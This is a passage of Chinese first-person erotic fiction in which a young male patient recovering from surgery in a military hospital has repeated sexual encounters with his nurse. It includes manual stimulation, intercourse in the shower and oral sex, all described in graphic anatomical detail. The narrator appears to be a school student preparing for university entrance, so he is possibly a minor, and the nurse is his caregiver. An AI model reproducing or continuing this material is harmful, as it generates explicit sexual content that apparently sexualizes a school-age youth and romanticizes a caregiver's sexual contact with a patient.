就这样过了几天,在小英姐姐无微不至的细心照料下,刀口愈合的很好,也不太疼了,身体也慢慢的胖了些,在她的搀扶下我可以下床,在屋里慢慢的走几圈了。按照医生的说法,如果不出意外的话,七天就能拆线,十天也就可以出院了。
大概是第五天的晚上吧,看完《新闻联播》我们聊着天,她很自然的把手伸进了我的被子里。这回她没有去按我的刀口处,而是把我的裤子拉下了一些,握住了我仍然有点硬的东东,对我说:“你怎么老是硬硬的啊?”
我说:“我也不知道,反正一看到姐姐就会硬起来。”
她笑着,脸上泛起了两朵浅浅的红晕。“你这个小坏蛋还好没碰到护士长,要是碰到护士长你就惨了!”
“为什么?”
我问。
“护士长会让你一直翘不起来的!”
“可是她每次来,我看她对我都很温柔啊?”
我说。
“那是你没惹到她!你等等,我一边挖个苹果给你吃,一边给你讲个她的故事。”
说着她关了电视,跑去洗了个苹果把皮削了一些,然后一边用勺子刮着喂我吃,一边就说了起来……
“有一次,有个连长来割阑尾,护士长指导一个实习护士给他备皮。那个连长一看到两个美女,就架起了“高射炮”把那个实习护士吓得不知该怎么办才好。”
这时,护士长看也不看那个连长,伸出两个手指对着那“高射炮”“叭”的一弹,那“高射炮”立马就倒下了,直到那个连长都快要出院了也没再翘起过。
后来,那个连长找到院领导,死活非要护士长嫁给他,领导问:“为什么?”
他说他现在是个废人了,要护士长嫁给他守活寡。
院领导就把护士长找来问怎么回事,护士长笑了笑就去找那个连长。连长一看到护士长来了就拉长了脸,护士长说:“把裤子脱了,我看看是怎么回事。”
连长就把裤子脱了,那东西软软地耷拉在那儿。护士长又伸出两个手指对着那东西叭一弹,那东西立马又架起了高射炮!
护士长问:“还要娶我吗?”
那连长连忙伸手作揖,嘴里说:“不敢了,不敢了!”
“你说,护士长神不神啊?”
“那连长干嘛这会儿不敢娶护士长了呢?”
我问。
“他敢?要是护士长天天这么折腾他,他能受的了吗?”
“那你会不会呢?”
我又问。
“我不会,护士长会点穴的!我要是会,你还能那么自在啊?”
说着,她就“咯、咯”地笑了起来,我也笑了。刀口不太疼了,我可以笑得大声一点了。
她扔了果核,洗完手又伸进被子里来,握着我的东东,两眼看着我,柔柔的问:“喜欢姐姐吗?”
“喜欢!你怎么老问我这句话啊?”
“我就是喜欢听你回答那句话嘛。”
说完,她使劲地握住了我那硬起来的肉棍,她的脸又慢慢的红了起来……
后来我才知道,其实女人也是喜欢摸男人的肉棍的,就像男人喜欢摸女人的乳房一样。
我曾经问过她:“你经常看和摆弄男人的这个东东,喜欢吗?”
她说:“不喜欢!那些人的平时软不邋遢的,像个死老鼠!活过来的时候又象一头大蟒蛇,吓死人了!”
我说:“那你干嘛还老喜欢抓住我的肉棍呢?”
她说:“你和他们不一样啊!你这个平时象一只小白老鼠,活过来又象一只大白老鼠,我就喜欢抓着它!”
“好胀,我想小便了。”
我说。她按了按我的小肚子说:“刚吃完晚饭才小的便,现在没有小便。”
“你多长时间跑一次“马””
北方话:“跑马”就是遗精或打飞机、打手枪、射精的意思她问。
“不知道。”
我答道。
她转身拿了几块纱布打开叠好,伸进被子里盖在我的龟头上捂着,“来,我帮你弄出来。你不要用劲,刀口会疼的。”
说着,她握着我的肉棍的手,就轻轻的上下撸动起来……
我的肉棍在她的小手上下撸动下更加胀大了。这时,我看到她的脸更红了,眼睛也微微的闭上。接着她上身慢慢的弯下,头抵在我的肩膀上。她的一个乳房压住了我的一只胳膊,我真想用另一只手捂在她的另一个乳房上……
她把一条大腿抬起使劲的叠压在另一条大腿上,她的双腿好象是在用劲,有点发抖。随着她上下撸动频率的加快,我也闭上了眼睛……
突然,她轻轻的“啊……”
了一声,撸动我肉棍的手停住了,握的力量也稍小了一些。我只觉得我头皮一麻,肛门一阵紧缩,肉棍一跳一跳的射出了一股一股的东东……
我觉得这次的射出和在香香大腿上的射出,是完全不同的两种感觉。这次我才领略了象书上描写的一样的那种感觉!我知道,这次我算是被小英姐姐给手淫了,但我好喜欢这种被她手淫的感觉!要是每天她都能帮我这样手淫那该有多好啊!
这时,我觉得刀口好痛好痛,就迷迷糊糊的闭上眼睛忍着。
过了一会儿,她直起身子,看我好象睡着了,就轻轻的掀开一点被子看着里面,两只手在我下面忙活了一阵,再轻轻地给我拉上裤子盖好被子,蹑手蹑脚地进了卫生间……
不知过了多久,迷迷糊糊的我觉得小肚子好胀。我转过头去,小英姐姐的床是空的,卫生间里传来“哗、哗”的水声。
“姐……”
我轻轻的叫到。没有回应,我又叫了声“姐……”
“哎!”
小英姐姐应道,“干嘛?”
水声明显的小了很多。
“我想小便。”
“你等等,我马上就来!”
小英姐姐跑了过来,她身上只裹了一条浴巾,在腋窝下打了个结。
她想去拿尿壶,我说:“我屁股有点麻,想下床走走,去卫生间小便。”
她赶忙过来扶着我下了床。
我右手按在刀口处,左手就搂搭在她的左肩上。她的肩膀很光滑,还沾着水珠。我有意慢慢的走着,想多搂摸她一会儿。她左手反握住我搭在她肩膀上的手背,右手搂住我的腰,嘴里说着:“慢点、慢点,当心滑倒!”
站在坐便器前,她帮我脱下裤子,右手搂着我提着裤子,左手握着我的东东对着便池,又“嘘、嘘……”
起来。我搂着她低头尿完,她抖了抖我的东东,就弯下腰去帮我提裤子……
不知怎么搞的,裹在她身上的浴巾突然松脱滑了下来。她惊叫了一声:“哎呀!”
就去按浴巾。
因为她是弯着腰的,右手还搂着我并提着裤子,所以左手只把浴巾按在了阴部。
而整个浴巾其它部分都垂了下去,露出了她光洁的背和对着我撅起的屁股。
我左手还搭在她的左肩上,翘起的肉棍就顶在了她丰满圆嫩的屁股上。那种感觉是我一辈子也忘不掉的!我右手顺势就搭在了她的右肩上。
她叫了声:“弟弟啊!”
请各位原谅我在这里用“弟弟”来代替了我的名字。右手就松开了我的裤子,我的裤子滑落到了地上。这时,我的下半身已经完全是赤裸的了,她反手就握住我使劲顶在她的屁股上的肉棍。这个时刻我仿佛过了有一个世纪那么长……
我的双手好象没怎么用劲,就把她扳了起来面对着我。她闭着两眼脸羞得通红,是那么的好看。她一只手还把浴巾捂在阴部,一只手还握着我的肉棍在微微的发抖。
直到现在,我才第一次仔仔细细地看清楚小英姐姐的乳房。那两个雪白的乳房圆鼓鼓的,就象两只小白兔安安静静地卧在胸前。两个挺立的乳头红红的,就像小白兔脉脉含情的两只红眼睛在望着我。我情不自禁地抚摸着那两个小白兔,那两个乳头又像兔子嘴一样在调皮地挠着我的手心,咬得我心里麻麻的好痒!好痒!
我的双手发抖得厉害,生怕小白兔受惊吓而跑掉。
慢慢地,她握着我的肉棍把我的身体往前拉,搭着浴巾的左手从她的阴部移到了我的屁股上。我的双手向她的后背伸去搂住她,她丰满坚挺的乳房和我的胸脯紧贴在了一起!
我不知道我的心脏是否还在跳动,整个世界是那么的安静。她把嘴唇堵在我的嘴唇上,舌头翘开我的牙齿伸到里面搅动着,我的舌头也和她的舌头搅动在一块儿。
吻了一会儿,她把头枕在我的肩上,鼻子里呼出的气吹得我脖子痒痒的,我的肉棍好象变得更硬了,我手无足措的不知道该怎么办才好。
她搂着我:“弟弟啊、弟弟啊……”
轻轻地呼唤着……
我也:“姐、姐……”
的轻轻地应着,双手只知道在她光滑的后背和屁股上胡乱地摸着……
突然,我觉得我的龟头上痒痒的,好象摩擦到了她的阴毛,然后慢慢的又向下滑去……在水波荡漾的桃源洞上方停住了,她握着我的肉棍轻轻地顶在她的花蕾上。我想起香香曾经告诉过我,那就是阴蒂的部位。
她握着我的肉棍,用龟头在她的花蕾上轻轻的摩擦着、转动着。痒得我双手不由自主地抱紧了她的屁股,她的桃花源里不断的有泉水涌出,使我的龟头也变得水唧唧的了。
不知过了多长时间,她的身体慢慢的变得僵硬而颤抖,她发出了:“啊……啊……”
的声音。搂着我的力量加大了,转动我肉棍的速度也加快了。我闭着眼睛紧紧的抱住她,大腿根子一紧,肉棍也忍不住一股一股的射出了东东……
她赶紧用浴巾从桃花源下方往上一抹裹住了我的龟头,我的精液全部被她接在了浴巾上,她又紧紧的搂住了我。
过了一会儿,她把我按在坐便器上,说:“弟弟你坐着别动,我洗一下。”
说着她就跨进了浴缸,用莲蓬头冲洗着她的桃花源,然后又仔细地清洗掉浴巾上的精液。她弯下腰时,垂下的乳房显得更大、更圆了,那雪白的乳沟越发显得漂亮。
我茫然地看着她做着这些事情,她背对着我说:“还好没有进去!要是我怀孕了,部队非得把我法办了,那我这辈子可就完了!”
这时我才明白,刚才我的肉棍其实根本没有插入她的阴道,虽然我也射了,但这算不算性交?我不知道。但我知道,部队里经常有女兵哭哭啼啼的被复员遣送回家。
接着,她又冲洗了一下身子,再拿了一块干净的浴巾裹好了身子。这才跨出浴缸扶着我站了起来,用湿毛巾把我睡着的小白鼠,仔细地擦洗干净,打了它一下,说:“坏东西!”
我说:“姐,你不是喜欢它吗?”
她瞪了我一眼没说话,帮我穿好裤子,把我扶到床上躺好。
她弯下腰看着我,轻轻地掐着我的脸,说:“你怎么那么让人讨厌啊!”
说着,就亲了我一下,“好了,快睡吧!我都快累死了!”
我搂住她的脖子,也在她的脸上亲了一下,说:“姐,我喜欢你!”
顺手又隔着浴巾在她的乳房上揉了几下。
她打着我的脸说:“小坏蛋!就是嘴巴甜,快闭上眼睛!”
这一觉,在我的记忆中好象是睡得最香甜的一觉!等我醒来已经是第二天下午的时候了。
晚饭后,小英姐姐搀着我到外面的院子散步。看着西边的天空,象被一群顽皮的孩子放了一把火,给烧得通红通红。就连迎面吹来的风,也带着一丝丝的温热。
她轻声地哼着:“……晚风披着夕阳在肩上,还有一只短笛在吹响……多少落寞惆怅,都随晚风飘散,遗忘在乡间地小路上!”
“咚……”
我不失时机的给她来了一声伴奏,她笑着捶了我一下,又接着哼起:“晚风轻抚澎湖湾,白浪逐沙滩……也是黄昏的沙滩上,留下脚印两对半……”
“澎湖湾,澎湖湾,外婆的澎湖湾……”
我也跟着她一起哼了起来,“有我多少童年的幻想……”
“姐,我能和你一直在一起吗?”
我突然问到。
她停下脚步,看了我半天,说:“傻弟弟,别说傻话了。你将来要考大学,还要工作,你会有你自己的生活轨迹。我将来要嫁人、转业,也会有自己的生活去向。”……
“姐,我们能不能在一起?”……
“傻弟弟,你有这份心思,姐也就知足了。”
她低下头,声音有点哽咽了,“记住,以后可要常来看姐姐啊!”
“嗯,我会的!”
我坚定地点了点头。
其实,我那时候啥也不懂。我以为她会象电影或书上说的那样:什么我年龄比你大啦,你家门槛高,我配不上你啦等等之类的话。但她没有这么说,虽然她心里可能会这么想。
她看看四下无人,就紧紧地搂住我,在我脸上来回的亲吻着。我觉得我的脸上湿乎乎的,也不知是她的眼泪,还是我的眼泪。
“回去吧,今晚早点好好休息,明天还要拆线。”
姐姐捧着我的脸说。
回到屋里,当她脱光了我的衣服给我擦洗身子时,昨晚的情形又浮现在我的眼前。我一把搂住她,可她却打着我的手,说:“别闹!当心把纱布搞湿要发炎的!”
我以为她生气了,就不敢再闹了。可是当我看到她衣襟开口里的乳沟时,不听话的东东又翘了起来。她叹了口气,摇了摇头。只好一手握住我的肉棍,一手用毛巾仔细的给我擦身子。
她把我扶上了床后,就坐在床前一直看着我。我想把她的手拉进被子里来,她摇了摇头,坚定地说:“今晚不要,你必须好好的睡觉,养足精神,明天才好拆线。好弟弟,姐喜欢你!”
她看我不肯闭眼睛,就一只手摸着我的脸,一边轻轻地把我的眼皮往下抹,一边用另一只手轻轻地拍打着我的肩膀,慢悠悠地哼着节拍……
回想到这里,我的眼睛湿润了。女人是不是天生就有一种母爱?而这种母爱又是那么的博大宽广!一滴泪水滴到了我的键盘缝隙里面,好象是一粒盐揿进了我被划开的刀口。
第二天上午,拆线进行的非常顺利。刀口处和缝线处的嫩肉是浅红色的,姐姐说:“好象一条红色的蚕宝宝趴在那里睡觉一样。”
下午,她又逼着我睡觉,又像昨晚那样把我哄睡着了,直到吃晚饭时才把我叫醒。我好奇怪她怎么老是叫我睡觉?而她自己一天到晚好象都不要睡觉似的。
只要我睁开眼睛,她肯定是在忙来忙去的,她的精神头怎么老是那么好?
晚饭后,她依旧习惯的搀扶着我去散步。我给她讲一些小笑话,她有时笑得弯下了腰,我又看到了她衣襟开口里面的那对熟悉而又陌生的小白兔。
很晚了,我们才回到小病房里。
她拉下我的裤子,看了看刀口,说:“今晚,你可以直接洗澡了。”
“姐,还是你帮我洗,好吗?”
我恳求着。
她红着脸说:“那你得乖乖的听我话。”
“姐,我什么时候不听你话啦?”
我高兴得叫了起来。
她过去把门锁好,扶着我进了卫生间,把我脱了个净光扶进浴缸,又调好冷热水,让我扶着墙站在莲蓬头下冲着。这时,我的肉棍早已是直指前方了。
突然,她从背后轻轻的抱住了我,我:“哎呀!”
了一声,原来她是悄悄地在我身后脱光了衣服进来的。
霎那间,地球仿佛停止了转动!
当她的乳尖触碰到我后背的那一瞬间,我好象被电击中了一麻,随后就被一股巨大的乳浪所吞噬。她饱满的乳房在我的后背揉动着,阴毛在我的屁股上摩擦着,无一不刺激着我的每一个神经末梢。
我想要转过身来,她却吻着我的后背,把脸贴在我的后背,问:“喜欢姐姐吗?”
说着,双手向前紧紧地握住了我那前挺的肉棍。
“喜欢!”
我大声应道。
水花,从我俩的头顶上洒下。她轻轻把我转过身来,双手捧着我的脸吻着,我的双手则在她胸前揉、捏着那两只小白兔。
她把我的头慢慢的按向她的双乳之间,我还没来得及再仔细看看那向往已久的乳沟,就“唔、唔……”
地把嘴唇吸在那雪白的乳房上了。
她一只手握住我的肉棍顶在她的阴蒂上转动着,一只手托住我的子弹袋。我双手托起她那两只可爱的小白兔仔细地看了个够,再亲吻、舔了个够!她闭着眼睛,微微向后仰着头挺着胸。水花打在她的脸上,溅起了更多的小水花。
她抬起一条腿踩在浴缸边上,然后把我慢慢的按下去坐着。她用一只手拨开桃花源的大门,顿时,整个桃花源内部的景色展现在我的眼前!“桃花潭水深千尺,不及姐姐对我情!”
我情不自禁地说道,姐姐轻轻地拍打了一下我的头。
我仔细地看着她那里,阴毛被水流梳理得平整而又伏贴,大阴唇丰满隆起,小阴唇由于充血而略显得有些红肿,阴道内淌着晶莹的汁液而有点发白,鲜红的洞口光滑而又娇嫩,阴核前端的尿道口微微地张开着,凸起的阴蒂就像含苞欲放的小花蕾。
我忍不住轻轻地拨弄着姐姐的花蕾。她一只手拉起我的大拇指按在花蕾上,一只手捏住我的中指在桃花洞中轻轻地进出着。
这时,我的肉棍硬硬的、胀胀的!
我想起了书上的描写。就双手拔开她的小阴唇,伸出舌头轻轻地去舔她的阴蒂。她“啊……”
地一阵剧烈的颤抖,双手按住我的头顶,十指深深地插入我的头发当中。
随着我舌头舔的范围扩大,她桃花源里淌出的泉水也更多,双腿颤抖得也更剧烈,头后仰得也更厉害。我的肉棍这时也一跳一跳的,好象随时要准备发射。
突然,她嘴里发出“啊……”
的一声,双手使劲地按住我的头,把我的脸紧紧地压在她喷涌而出的桃花源上……
就在我好象快要憋过气去的时候,姐姐一把把我拉了起来,我大口大口地喘着气。她一手握住我的肉棍往前拉,一手搂住我的屁股用劲一按……只听她轻呼了一声:“弟弟啊……”
我就觉得我的肉棍进入了一个温暖、滑溜的肉窝里。
冠状沟的位置好象被什么东西卡住了一样,一阵又痛又痒的感觉……这时,姐姐浑身颤抖着抱紧了我,嘴使劲地吻住我的唇……我觉得一股咸咸的水流进了我的嘴里。
我睁眼一看,姐姐泪流满面。再低头一看,红红的水流顺着我俩的腿往下淌去。
我吓坏了,叫到:“姐姐,哪里流血了?”
姐姐只是静静地抱着我颤抖着,我吓得抱住她不敢动。
过了一会,姐姐说:“弟弟,你动一动。”
我不知道该怎样动,她搂着我说:“这样前后动。”
我身子就前后的动起来,那龟头好象在温热的肥皂水里抽动一般。抽动了一会儿,我觉得龟头好象被什么东西咬住一样,一阵又痛又痒的感觉又直冲我的头顶,一下子,我的东东忍不住的一阵抽搐……姐姐更用劲地抱紧了我!
这时,我才明白我和姐姐已经经历了一个人生的转折,完成了一项伟大的历史使命。而且我们是站着进入的!
过了一会,姐姐慢慢的把我拉开。一屁股坐在浴缸的边沿上,用莲蓬头冲洗着阴部。红红白白的东东顺着水花渐渐的淡去,桃花源又回复了鲜嫩的红色。
接着,姐姐又给我的肉棍仔细地冲洗着。我抚着姐姐的肩膀问到:“姐,你会怀孕吗?”
姐姐摇了摇头说:“不会,今天是我安全期。”
我看着姐姐的手指在轻轻地清洗着我的冠状沟,突然一阵好痒好痒的感觉又刺激着我,我的东东又挺立了起来。姐姐双手紧紧握住我的肉棍,用水冲洗了一下,然后就用嘴裹住了我的龟头……
我“噢……”
了一声,坚硬的肉棍仿佛要被溶化了一般,龟头又进入了一个温暖的肉窝!我的双手使劲地捂在她胀大的乳房上,用食指和中指夹住那弹性十足的乳头。
她含了一会儿我的龟头,前后轻轻的吸吮着。再把它拿出来仔细地舔着。她的舌苔就象千万个小毛刺一样,麻麻地刺激着龟头上的嫩皮,奇痒无比!
我大叫一声:“呀……”
红红的肉棍象灭火瓶一样又喷出一股一股白色的激流,打在她的嘴上和下巴上。那白色的精液顺着她下巴,流到了胸前凸起的乳峰上,她握着我的龟头,一下一下地用它把精液均匀地涂抹在她的两个乳房上。这时,我脑海中又浮现出书里描写的那种情形。我不知道姐姐有没有看过那本书,但姐姐怎么会知道这样做呢?我没敢问她。
她看着喷口不再喷发了,便用嘴吻着龟头和喷口,再用水把龟头冲洗干净,最后才把嘴漱干净站了起来,我俩又紧紧的抱在了一起,嘴又粘在了一起。
“哗、哗”的水花洒在我俩的身上,也未能将我俩分开。
过了一会儿,她看看我的刀口处,说:“还好,没问题。射了两次,累坏了吧?”
我摇了摇头。“我给你洗洗干净赶紧去睡吧,我还担心你今天没睡够呢。”
这时,我才明白姐姐的一番苦心,为什么下午她一定要我睡个够的原因!我心里一阵激动,使劲地抱住了她。亲着她说:“姐,你真好!”
她帮我仔细的洗好澡、穿好衣服,要我回床睡觉,我不肯,我要看她洗澡。
看姐姐洗澡真的是一种好美好美的享受,当姐姐的手抹过乳房时,被抹下去的乳房和乳头总是倔犟的弹立起来,构成一幅美丽的图画。
那一夜,我老是梦见五彩水花,洒在姐姐可爱的小白兔身上和美丽的桃花源上,老是感觉到我的龟头还泡在温热的肥皂水里……
出院的那天上午,香香来了。姐姐仔细地端详着香香,那种神态绝对不亚于多年后,我妈妈第一次看我女朋友的神态,香香的脸都被看红了。香香也偷偷的看着小英姐姐,我不知道美女看美女的感觉是怎样的。
我给小英姐姐介绍香香:“这是我的同学香香,好朋友!”
又给香香介绍小英姐姐:“这是我的护士姐姐小英,好姐姐!”
小英姐姐把香香拉到一边去说悄悄话了。后来,我分别问过她们俩说了些什么,可是她们俩谁也没告诉我她们说了些什么。后来我渐渐的明白了,女人之间有太多的秘密,是我们男人永远也无法知道和明白的。
我一一地向医院的政委、主任、护士长和医生、护士谢过之后要上车了,小英姐姐才拉着香香过来。小英姐姐看着我没说话,红着眼睛一直在向我挥手。我知道她心里想对我说什么,我大声说道:“小英姐姐,我忘不了你,我会常回来看你的!”
小英姐姐捂着嘴哭了。
车开了,香香静静地握着我的手。这十几天的经历一一的在我脑海中闪过,我忽然有一种“曾经沧海难为水”的感觉。
哦,朦胧的岁月,朦胧的我哟……